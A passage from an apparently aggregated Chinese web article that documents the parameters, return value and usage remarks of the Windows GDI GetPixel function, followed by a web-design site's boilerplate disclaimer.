hdc：設(shè)備環(huán)境句柄。

nXPos：指定要檢查的像素點(diǎn)的邏輯X軸坐標(biāo)。

nYPos：指定要檢查的像素點(diǎn)的邏輯Y軸坐標(biāo)。

返回值：返回值是該象像點(diǎn)的RGB值。如果指定的像素點(diǎn)在當(dāng)前剪輯區(qū)之外；那么返回值是CLR_INVALID。

備注：該像素點(diǎn)必須在當(dāng)前剪輯區(qū)的邊界之內(nèi)。并不是所有設(shè)備都支持GetPixel函數(shù)。應(yīng)用程序應(yīng)調(diào)用GetDeviceCaps函數(shù)來確定指定的設(shè)備是否支持該函數(shù)。

新聞名稱：getdcvb.net的簡單介紹
本文路徑：http://chinadenli.net/article39/dseejsh.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供用戶體驗(yàn)、網(wǎng)站導(dǎo)航、自適應(yīng)網(wǎng)站、標(biāo)簽優(yōu)化、網(wǎng)站營銷、網(wǎng)站建設(shè)

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請盡快告知，我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場，如需處理請聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時(shí)需注明來源： 創(chuàng)新互聯(lián)